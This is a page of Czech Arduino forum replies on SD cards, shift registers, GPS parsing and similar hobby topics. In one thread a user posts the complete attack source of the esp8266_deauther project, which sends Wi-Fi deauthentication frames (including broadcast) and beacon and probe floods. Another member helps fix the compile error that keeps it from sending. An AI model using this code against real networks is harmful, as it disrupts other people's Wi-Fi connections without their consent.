Close

rteppp

Vytvořené odpovědi

Aktuálně je na stránce zobrazeno 30 příspěvků - 331. až 360. (celkem z 2,779)
  • Autor
    Příspěvky
  • odpověď na: Nodemcu Arduino IDE #11311
    Zbyšek Voda
    Účastník

    Tak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)

    odpověď na: Nodemcu Arduino IDE #11310
    nonosh
    Účastník

    Tady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther

    odpověď na: Nodemcu Arduino IDE #11309
    nonosh
    Účastník

    Po přidání &amp dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
    Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
    #include „Attack.h“

    Attack::Attack() {
    randomSeed(os_random());
    }

    void Attack::generate() {
    if (debug) Serial.print(„\n generating MACs…“);

    Mac _randomBeaconMac;
    uint8_t _randomMacBuffer[6];
    beaconAdrs._clear();

    for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
    do {
    getRandomVendorMac(_randomMacBuffer);
    for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
    } while (beaconAdrs.add(_randomBeaconMac) >= 0);
    if (debug) Serial.println(„done“);
    }

    void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
    packetSize = 0;
    for (int i = 0; i < sizeof(deauthPacket); i++) {
    packet[i] = deauthPacket[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set target (client)
    packet[4 + i] = _client._get(i);
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    //set type
    packet[0] = type;
    packet[24] = reason;
    }

    void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
    packetSize = 0;
    int ssidLen = _ssid.length();
    if (ssidLen > 32) ssidLen = 32;

    for (int i = 0; i < sizeof(beaconPacket_header); i++) {
    packet[i] = beaconPacket_header[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    packet[packetSize] = 0x00;
    packetSize++;
    packet[packetSize] = ssidLen;
    packetSize++;

    for (int i = 0; i < ssidLen; i++) {
    packet[packetSize] = _ssid[i];
    packetSize++;
    }

    for (int i = 0; i < sizeof(beaconPacket_end); i++) {
    packet[packetSize] = beaconPacket_end[i];
    packetSize++;
    }

    packet[packetSize] = _ch;
    packetSize++;

    if (encrypt) {
    for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
    packet[packetSize] = beaconWPA2tag[i];
    packetSize++;
    }
    }

    }

    void Attack::buildProbe(String _ssid, Mac _mac) {
    int len = _ssid.length();
    if (len > 32) len = 32;
    packetSize = 0;

    for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
    packetSize += sizeof(probePacket);

    for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);

    packet[packetSize] = len;
    packetSize++;

    for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
    packetSize += len;

    }

    bool Attack::send() {
    if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
    /*
    if(debug){
    Serial.print(packetSize);
    Serial.print(“ : „);
    PrintHex8(packet, packetSize);
    Serial.println(„“);
    }
    */
    return false;
    }
    delay(1); //less packets are beeing dropped
    return true;
    }

    void Attack::sendDeauths(Mac from, Mac to){
    for(int i=0;i<settings.attackPacketRate;i++){
    buildDeauth(from, to, 0xc0, settings.deauthReason );
    if(send()) packetsCounter[0]++;
    buildDeauth(from, to, 0xa0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xc0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xa0, settings.deauthReason );
    send();
    delay(5);
    }
    }

    void Attack::run() {
    unsigned long currentMillis = millis();

    /* =============== Deauth Attack =============== */
    if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
    prevTime[0] = millis();

    for (int a = 0; a < apScan.results; a++) {
    if (apScan.isSelected(a)) {
    Mac _ap;
    int _ch = apScan.getAPChannel(a);
    _ap.setMac(apScan.aps._get(a));

    wifi_set_channel(_ch);

    int _selectedClients = 0;

    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    _selectedClients++;
    /*if (settings.channelHop) {
    for (int j = 1; j < maxChannel; j++) {
    wifi_set_channel(j);

    buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
    if (send()) packetsCounter[0]++;

    buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
    if (send()) packetsCounter[0]++;
    }
    } else {*/
    sendDeauths(_ap, clientScan.getClientMac(i));
    //}
    }
    }

    if (_selectedClients == 0) {
    Mac _client;
    _client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
    sendDeauths(_ap, _client);
    }

    }
    }

    stati[0] = (String)packetsCounter[0] + „pkts/s“;
    packetsCounter[0] = 0;
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[0]++;
    if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
    }
    }

    /* =============== Beacon list Attack =============== */
    if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
    if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
    prevTime[1] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    String _ssid = ssidList.get(a);
    int _ch = channels[a];

    buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);

    if (send()) packetsCounter[1]++;
    }

    stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
    packetsCounter[1] = 0;
    macListChangeCounter++;
    if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[1]++;
    if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
    }
    }

    /* =============== Probe Request Attack =============== */
    if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
    prevTime[2] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    buildProbe(ssidList.get(a), beaconAdrs._get(a));
    if (send()) packetsCounter[2]++;
    }

    stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
    packetsCounter[2] = 0;
    macListChangeCounter++;
    if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(„done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[2]++;
    if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
    }
    }

    }

    void Attack::start(int num) {
    Serial.println(num);
    if(!isRunning[num]) {
    Serial.println(num);
    isRunning[num] = true;
    stati[num] = „starting“;
    prevTime[num] = millis();_log(num);
    attackTimeoutCounter[num] = 0;
    refreshLed();
    if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „STOP“;
    for (int i = 0; i < attacksNum; i++){
    if(i != num) stop(i);
    }
    }else stop(num);
    }

    void Attack::stop(int num) {
    if (isRunning[num]) {
    if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „START“;
    isRunning[num] = false;
    stati[num] = „ready“;
    prevTime[num] = millis();
    refreshLed();
    }
    }

    void Attack::stopAll() {
    for (int i = 0; i < attacksNum; i++) stop(i);
    }

    void Attack::_log(int num){
    openLog();
    addLog((String)attackNames[num]);
    for(int a=0;a<apScan.results;a++){
    if(apScan.isSelected(a)){
    Mac _ap;
    _ap.setMac(apScan.aps._get(a));
    addLog(_ap.toString());
    }
    }
    addLog(„-„);
    for(int i=0;i<clientScan.results; i++) {
    if(clientScan.getClientSelected(i)) {
    addLog(clientScan.getClientMac(i).toString());
    }
    }
    closeLog();
    }

    size_t Attack::getSize(){
    size_t jsonSize = 0;

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],“;
    jsonSize += json.length();

    json = „\“ssid\“:[„;
    jsonSize += json.length();
    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    jsonSize += json.length();
    }

    json = „]}“;
    jsonSize += json.length();

    return jsonSize;
    }

    void Attack::sendResults(){
    size_t _size = getSize();
    if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
    sendHeader(200, „text/json“, _size);

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);
    sendToBuffer(json);

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    sendToBuffer(json);

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],\“ssid\“:[„;
    sendToBuffer(json);

    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    sendToBuffer(json);
    }
    json = „]}“;
    sendToBuffer(json);

    sendBuffer();
    if (debug) Serial.println(„done“);
    }

    void Attack::refreshLed() {
    int numberRunning = 0;
    for (int i = 0; i < sizeof(isRunning); i++) {
    if (isRunning[i]) numberRunning++;
    //if(debug) Serial.println(numberRunning);
    }
    if (numberRunning >= 1 && settings.useLed) {
    if (debug) Serial.println(„Attack LED : ON“);
    digitalWrite(2, LOW);
    }
    else if (numberRunning == 0 || !settings.useLed) {
    if (debug) Serial.println(„Attack LED : OFF“);
    digitalWrite(2, HIGH);
    }
    }

    odpověď na: Nodemcu Arduino IDE #11303
    Zbyšek Voda
    Účastník

    Používáte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
    Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).

    Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
    Řekněme, že máte něco jako:

    byte data[] = {1, 2, 3, 4, ...};
    wifi_send_pkt_freedom(data, x, y);

    Místo data zkuste zapsat &data, tedy:
    wifi_send_pkt_freedom(&data, x, y);

    Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.

    Většinou stačí přeložit hlášku:
    cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
    můžete číst jako
    Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)

    uint8_t* = ukazatel na typ uint8_t / pole uint8
    uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_t

    Pokud to nepůjde, pošlete sem kód 🙂

    odpověď na: Formát SD Card #11301
    Axamith
    Účastník

    Díky, testnu to. Ale myslím, že problém bude s modulem. Zkoušel jsem jak na UNO, tak na Wemos a Pro mini a vždy se stejným výsledkem. Originální příklady k SD modulu. takže objednám nový modul a uvidíme.

    odpověď na: Posuvný registr 74HC595 pomoc #11297
    posjirka
    Účastník

    ona je opravdu otázka jak to je zapojeno …. ať tady nehoníte duchy 🙂
    ps. omezil bych ty 2 pole za 1 hodnotu BYTE se smyčkou FOR pro naplnění log.1/0

    odpověď na: Formát SD Card #11296
    RomanB
    Účastník

    Ještě vyzkoušej test pinů 10-13 jestli jsou OK. Viz https://bastlirna.hwkitchen.cz/i-zaklady-2-bliknuti-led/ s tím, že ti bude stačit ta jedna LEDka a ty ji jenom přepojíš na další piny. A pin 12 bych ještě otestoval jako vstup. Pokud bude vše OK, tak to vypadá na mrtvou čtečku.

    /*
    Blikání
    LED na sekundu zasvítí a pak zase na sekundu zhasne. Opakovaně.
    */

    // Pin 13 je na většině Arduino deskách spojen s LED
    int led1 = 10;
    int led2 = 11;
    int led3 = 12;
    int led4 = 13;

    void setup() {
    // nastavení pinu na Output
    pinMode(led1, OUTPUT);
    pinMode(led2, OUTPUT);
    pinMode(led3, OUTPUT);
    pinMode(led4, OUTPUT);
    }

    // opakujici se smyčka
    void loop() {
    digitalWrite(led1, HIGH); //zapnutí led
    digitalWrite(led2, HIGH);
    digitalWrite(led3, HIGH);
    digitalWrite(led4, HIGH);

    delay(1000); // po dobu jedné sekundy

    digitalWrite(led1, LOW); // vypnuti LED
    digitalWrite(led2, LOW);
    digitalWrite(led3, LOW);
    digitalWrite(led4, LOW);

    delay(1000); // po dobu jedné sekundy
    }

    odpověď na: aktualizování firmwaru přes uart #11295
    Vojtěch Vosáhlo
    Účastník

    Zdravím, kouknu na to zas co nejdřív, akorát mám teď hodně práce. Jen aby jste věděl že jsem nezapoměl ?

    odpověď na: Formát SD Card #11293
    Axamith
    Účastník

    Abych minimalizoval problémy s různým pochopením HW a SW, omezil jsem testování na UNO a originální příklady ke knihovně. UNO, napájené přes USB, SD modul připojen na GND a 5V,
    CS – PIN 10
    MOSI – PIN 11
    MISO – PIN 12
    SCK – PIN 13

    Kartu 4 GB jsem naformátoval pomocí SD Card Formatter, nastavení :
    Format type – Full (OverWrite) // i když by stačilo QUICK
    Format size adjustment – OFF

    Sketch dle příkladu z knihovky SD – CardInfo:

    /*
    SD card test

    This example shows how use the utility libraries on which the‘
    SD library is based in order to get info about your SD card.
    Very useful for testing a card when you’re not sure whether its working or not.

    The circuit:
    * SD card attached to SPI bus as follows:
    ** MOSI – pin 11 on Arduino Uno/Duemilanove/Diecimila
    ** MISO – pin 12 on Arduino Uno/Duemilanove/Diecimila
    ** CLK – pin 13 on Arduino Uno/Duemilanove/Diecimila
    ** CS – depends on your SD card shield or module.
    Pin 4 used here for consistency with other Arduino examples

    created 28 Mar 2011
    by Limor Fried
    modified 9 Apr 2012
    by Tom Igoe
    */
    // include the SD library:
    #include <SPI.h>
    #include <SD.h>

    // set up variables using the SD utility library functions:
    Sd2Card card;
    SdVolume volume;
    SdFile root;

    // change this to match your SD shield or module;
    // Arduino Ethernet shield: pin 4
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    // MKRZero SD: SDCARD_SS_PIN
    const int chipSelect = 10;

    void setup() {
    // Open serial communications and wait for port to open:
    Serial.begin(9600);
    while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
    }

    Serial.print(„\nInitializing SD card…“);

    // we’ll use the initialization code from the utility libraries
    // since we’re just testing if the card is working!
    if (!card.init(SPI_HALF_SPEED, chipSelect)) {
    Serial.println(„initialization failed. Things to check:“);
    Serial.println(„* is a card inserted?“);
    Serial.println(„* is your wiring correct?“);
    Serial.println(„* did you change the chipSelect pin to match your shield or module?“);
    return;
    } else {
    Serial.println(„Wiring is correct and a card is present.“);
    }

    // print the type of card
    Serial.print(„\nCard type: „);
    switch (card.type()) {
    case SD_CARD_TYPE_SD1:
    Serial.println(„SD1“);
    break;
    case SD_CARD_TYPE_SD2:
    Serial.println(„SD2“);
    break;
    case SD_CARD_TYPE_SDHC:
    Serial.println(„SDHC“);
    break;
    default:
    Serial.println(„Unknown“);
    }

    // Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
    if (!volume.init(card)) {
    Serial.println(„Could not find FAT16/FAT32 partition.\nMake sure you’ve formatted the card“);
    return;
    }

    // print the type and size of the first FAT-type volume
    uint32_t volumesize;
    Serial.print(„\nVolume type is FAT“);
    Serial.println(volume.fatType(), DEC);
    Serial.println();

    volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
    volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
    volumesize *= 512; // SD card blocks are always 512 bytes
    Serial.print(„Volume size (bytes): „);
    Serial.println(volumesize);
    Serial.print(„Volume size (Kbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);
    Serial.print(„Volume size (Mbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);

    Serial.println(„\nFiles found on the card (name, date and size in bytes): „);
    root.openRoot(volume);

    // list all files in the card with date and size
    root.ls(LS_R | LS_DATE | LS_SIZE);
    }

    void loop(void) {

    }

    a výsledek:
    Initializing SD card…initialization failed. Things to check:
    * is a card inserted?
    * is your wiring correct?
    * did you change the chipSelect pin to match your shield or module?

    Pro klid duše jsem dal i nové propojovací kabely, vyzkoušel SS piny č. 4, 8, 10 (i když u UNA je jasné, že 4 a 8 je blbost), opět bez výsledku. Taková kravina jako SD karta a co já na tom strávil času … a bez výsledku.

    odpověď na: Formát SD Card #11286
    RomanB
    Účastník

    Já vlastním Ethernet s SD a tam je použit pin 4. U tebe samozřejmě je možnost volby zapíchnutím drátku. Vyzkoušej také skeč z Arduina IDE, je tam v příkladěch pod SD. Je to vlastně to stejné jako ty zde cituješ, ale akorát je to počeštěno. Jediné co je špatně je:

    // nastavte správně
    // Arduino Ethernet shield: pin 4 – náš případ
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    const int chipSelect = SS;

    Má být const int chipSelect = 4; nebo jiný tebou použitý pin.

    Zároveň zachovej a definuj tento pin v setupu
    Serial.print(“\nInicializace SD karty…”);
    pinMode(4, OUTPUT);

    A jaké používáš napětí? 5V nebo 3,3V

    odpověď na: Formát SD Card #11285
    Axamith
    Účastník

    Ahoj, mám čtečku Micro SD.

    Použil jsem krom jiných tuto sketch:

    // created 28 Mar 2011
    // by Limor Fried
    // modified 9 Apr 2012
    // by Tom Igoe
    // modifed 23.3.2013
    // by Pavel Putna

    #include <SD.h>

    // nastaví proměné pro info karty
    Sd2Card card;
    SdVolume volume;
    SdFile root;

    // nastavte správně
    // Arduino Ethernet shield: pin 4 – náš případ
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    const int chipSelect = SS;

    void setup()
    {
    Serial.begin(9600);

    Serial.print(„\nInicializace SD karty…“);
    pinMode(4, OUTPUT);

    // inicializace
    if (!card.init(SPI_HALF_SPEED, chipSelect)) {
    Serial.println(„\nPametova karta nebyla detekovana“);
    return;
    } else {
    Serial.println(„\nPametova karta nalezena.“);
    }

    // Určí typ karty
    Serial.print(„\nTyp karty: „);
    switch(card.type()) {
    case SD_CARD_TYPE_SD1:
    Serial.println(„SD1“);
    break;
    case SD_CARD_TYPE_SD2:
    Serial.println(„SD2“);
    break;
    case SD_CARD_TYPE_SDHC:
    Serial.println(„SDHC“);
    break;
    default:
    Serial.println(„Neznama“);
    }

    // Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
    if (!volume.init(card)) {
    Serial.println(„System souboru FAT16/FAT32 nenalezen.\nZkuste naformatovat kartu“);
    return;
    }

    // print the type and size of the first FAT-type volume
    uint32_t volumesize;
    Serial.print(„\nVolume type is FAT“);
    Serial.println(volume.fatType(), DEC);
    Serial.println();

    volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
    volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
    volumesize *= 512; // SD card blocks are always 512 bytes
    Serial.print(„Volume size (bytes): „);
    Serial.println(volumesize);
    Serial.print(„Volume size (Kbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);
    Serial.print(„Volume size (Mbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);

    Serial.println(„\nNalezene soubory na karte (nazev, datum a velikost v bajtech): „);
    root.openRoot(volume);

    // list all files in the card with date and size
    root.ls(LS_R | LS_DATE | LS_SIZE);
    }

    void loop(void) {
    }

    Čtečku jsem zkoušel jak na Pro mini, tak na UNO a Wemos D1. Vím, že je třeba definovat vstup na Arduinu pinu. Volba 4, 8, 10 (dle Arduina). NIC nejede, ani volba SS. Nebo spíš ji detekuje, nenajde FAT a veškeré pokusy s kartou z příkladů z knihoven nejedou, respektive s kartou nekomunikují. Koupil jsem i novou kartu, pro klid duše, pořád bez výsledků. Buď kartu nedetekuje, nebo ji detekuje a nerozpozná FAT16/32

    odpověď na: Formát SD Card #11279
    RomanB
    Účastník

    Také zdravím, jakou máš desku se čtečkou a použil jsi jenom program pro komunikaci s SD kartou?

    odpověď na: Grove elektromagnet – moc slabí #11263
    posjirka
    Účastník

    presne tak … z arduina se bere pouze maly proud pro sepnuti magnetu. podle popisu ma unest 1kg coz neni malo. jsi si jisty ze to co jsi chtel zvednout je zelezo a ne nejaka hlinikova slitina?

    odpověď na: aktualizování firmwaru přes uart #11262
    michal123
    Účastník

    DObrý večer,
    nejspíš jsem nepochopil tu 1s pauzu.
    Kód funguje pro blink ale už ne pro blink na jiných pinech. Když jsem se na komunikaci kouknul osciloskopem tak jsem zjistil, že arduino když nahrává tak 20,5ms čeká, pošle řídící kód, pak 16ms čeká a pak nahraje stránku a tak to opakuje. (ještě to pak všechno zpětně ověří)
    Ale když se podívám na naše data tak, rídících kódů je tam zdáse víc (nevím co arduino neposílá nebo kde nečeká protože z toho nevyluštím konkrétní hodnoty.(případně pošlu nějaké obrázky), časem snad postavím další (arduino) pro paraelní čtení komunikace.

    odpověď na: GPS SKM53 #11261
    petouf
    Účastník

    Tak zase o krůček 🙂
    Nedošlo mi (ale kolegovi naštěstí ano) že COM na PC používá drobet jiné úrovně, než Arduino. Asi bude potřeba převodník RS232-TTL Ten budu mít příští týden, tak dám vědět 🙂

    odpověď na: EBook – nelze stáhnout #11260
    Zbyšek Voda
    Účastník

    Na úvodní stránce je formulář, kam dáte email a přijde vám kniha.

    odpověď na: EBook – nelze stáhnout #11259
    chevy.us
    Účastník

    Zdravím.
    Prosím jak se dostanu k odkazu na stažení e-knihy?
    Na webu jsem to nikde nenašel. Pouze na domovské stránce info o této možnosti.
    Díky předem za čas.

    odpověď na: GPS SKM53 #11256
    petouf
    Účastník

    Tak jo, opět o krůček vepředu. Přečetl jsem, co vysílá modul SKM53.
    vysílá toto:
    $GPGGA,055929.553,5003.5766,N,01430.6436,E,1,6,1.34,309.1,M,45.4,M,,*56
    $GPGSA,A,3,02,05,07,09,16,30,,,,,,,1.61,1.34,0.89*0E
    $GPGSV,3,1,10,07,71,079,28,30,60,203,34,05,46,299,37,09,45,089,26*70
    $GPGSV,3,2,10,37,32,170,,02,25,250,30,13,11,272,,16,10,027,24*7B
    $GPGSV,3,3,10,06,08,208,,28,08,163,*7A
    $GPRMC,055929.553,A,5003.5766,N,01430.6436,E,0.36,99.88,260417,,,A*59

    Pak jsem přečetl, co mi vysílá simulátor na COM1 a vypadlo z něho toto:
    [}ĹeMťť§ť§ź—§źť§źź§źźź§źź§ź›§źź§źźź§źź§ź™§źź§źźź§źź§ź—§źź§źźź§źź«‘Ťĺë
    Tak už rozumim tomu, proč mi tento signál Arduino nebere. Zatím nepomohlo ani experimentování s rychlostmi, čert ví, kde je problém. V zapojení COM? To snad ne, tam jsou jen 3 dráty. No budu bádat dál, třebas na něco přijdu 🙂

    odpověď na: Posuvný registr 74HC595 pomoc #11237
    RomanB
    Účastník
    
    int latchPin = 4;
    int clockPin = 5;
    int dataPin = 6;
    int vstup = 7;   //pridal jsem si vstup jako podminku
    
    int index=0;
    
    byte data[] =
    {
      B10000000,
      B11000000,
      B11100000,
      B11110000,
      B11111000,
      B11111100,
      B11111110,
      B11111111,
    };
    
    byte data2[1] =
    
    {
      B11111111,
    };
    
    unsigned long staryMillis = 0;        
    
    const long interval = 800;
    
    unsigned long novyMillis = millis();
    
    void setup() {
      
      Serial.begin(9600);
      pinMode(latchPin, OUTPUT);
      pinMode(clockPin, OUTPUT);
      pinMode(dataPin, OUTPUT);
      pinMode(vstup, INPUT_PULLUP);
      
    }
    
    void loop() {
      
      
    boolean podminka = digitalRead(vstup);  
    
    //**********************************************************************  
    
     unsigned long novyMillis = millis();
     
      if (novyMillis - staryMillis >= interval && podminka==0) {
       
          staryMillis = novyMillis; 
    
           
          digitalWrite(latchPin, LOW);
    
          shiftOut(dataPin, clockPin, MSBFIRST, data[index]);
          
          if (index > 6)  { shiftOut(dataPin, clockPin, MSBFIRST, data[7]); index = 7;  }
        
          digitalWrite(latchPin, HIGH);
          
     Serial.println(index);   
     //Serial.println(staryMillis);
     //Serial.println(novyMillis);
     
          index=index+1;
     
    }
    //**********************************************************************
     if (novyMillis - staryMillis >= interval && podminka==1) {
       
          staryMillis = novyMillis; 
          
          index = 0;
          
          digitalWrite(latchPin, LOW);
          
          shiftOut(dataPin, clockPin, MSBFIRST, data2[index]);
          
           
     Serial.println(index);   
     //Serial.println(staryMillis);
     //Serial.println(novyMillis);
    
    }
    //********************************************************************** 
     
    }//konec smycky

    Vyzkoušej toto. Jako podmínku jsem použil tlačítko: 0 je stlačeno.

    odpověď na: Wemos D1 – analogové vstupy #11234
    Axamith
    Účastník

    Když jsem na Wemos zapojil výstup z HX711 na A0 a D1, tak to nejelo. Samozřejmě jsem upravil zdroják. Musím to ještě vyzkoušet. Nejlépe na UNo (kde vím, že to jede) přehodit vstup na D1, D2 a uvidím, co mi to vysype.

    odpověď na: Posuvný registr 74HC595 pomoc #11233
    Jindra
    Účastník

    Pokud tam nebude funkce delay() tak ty ledky blikaji tak rychle, ze to oko ani nezaregistruje. Myslel jsem ze loop() za jedno kolo odela posun na registru o jeden byt. To znamena ze za jedno kolo s funkci delay() rosviti jednu ledku podle pole data[] a pak prave ceka 200ms. Slo by to vyresit millis()?

    EDIT: ne byt, ale bit

    odpověď na: GPS SKM53 #11232
    BlindP
    Účastník

    Tebe zajímá jen gprmc, ty vety vypaji takto:
    $GPRMC,123519,A,4807.038,N,01131.000,E,022.4,084.4,230394,003.1,W*6A
    RMC,hhmmss,A,Latitude,N,Longitude,E,knots,angle,ddmmyy,Magnetic Variation,check
    rychlost komunikace 9600, nekde byva 4800

    odpověď na: GPS SKM53 #11231
    petouf
    Účastník

    No, paráda, stačilo „nakopnout“ 🙂
    Nakonec jsem našel GpsSimul – to je skoro přesně, co jsem potřeboval. Zadáš si rychlost a směr a už to vysílá data. Bohužel to nějak nemohu rozchodit. Arduino sice přijímá znaky, žel poloha, rychlost a tak se mi neukazuje. Je tam několik nastavení, pokoušel jsem se nastavit všechny kombinace a stále nic 🙁
    vypnu-li $GPRMC přestane komunikovat úplně. Pak je tam k nastavení $GPGLL, $GPVTG, $PZDA, $GPGGA, $GPGSA.
    Nastavení portu je předpokládám dobré, když to komunikuje. No, pokud bys o něčem věděl, co změnit… Budu studovat a experimentovat, třeba se podaří.
    Ale moc díky za typ 🙂

    odpověď na: aktualizování firmwaru přes uart #11230
    Vojtěch Vosáhlo
    Účastník

    Ještě jsem zapoměl zmínit že jsou tam 2 programy. Kratší je blink v GCC s pauzou 100ms a delší je arduinovské Blink s pauzou 1s. Prostě si odkomentujte co potřebujete a nebo zkuste vlastní kód.

    odpověď na: Grove elektromagnet – moc slabí #11229
    BlindP
    Účastník

    Ahoj, na té desce je už tranzistor jako spínač, kdyby tam nebyl pin č. 2 by se odebral do křemíkového nebe 🙂 400mA se bere z napájení a ten žlutý slouží k ovládání – spíná tranzistor a ten pak spíná vlastní elektromagnet. Problém bych tam neviděl.

    odpověď na: GPS SKM53 #11228
    BlindP
    Účastník

    Ahoj, podle rychlého hledání z toho lezou data ve formátu nmea – https://www.startpage.com/do/search?q=nmea+standard jestli chceš, někde bych měl mít uložený logy z lodi to bys mohl posílat z pc převodníkem do arduina, nebo si na zahradě nahrej vzorek do pc a pak zase posílat z pc zpět.

    odpověď na: Posuvný registr 74HC595 pomoc #11227
    RomanB
    Účastník

    Funkce delay(200) tam je proto, protože void loop() je stále se opakující smyčka. Když se postupně rozsvítí všechny ledky, pak se čeká 200 ms a ledky se začnou znova rozsvěcet. Vůbec tam nemusí být.

    Pro podmínku použij if (podminka==1 && index<7){a tady dej rutinu pro zobrazení}
    else (podminka==0) {rutina pro zobrazení,ale s data2[1]
    =B00000000 aby ti to zhaslo}

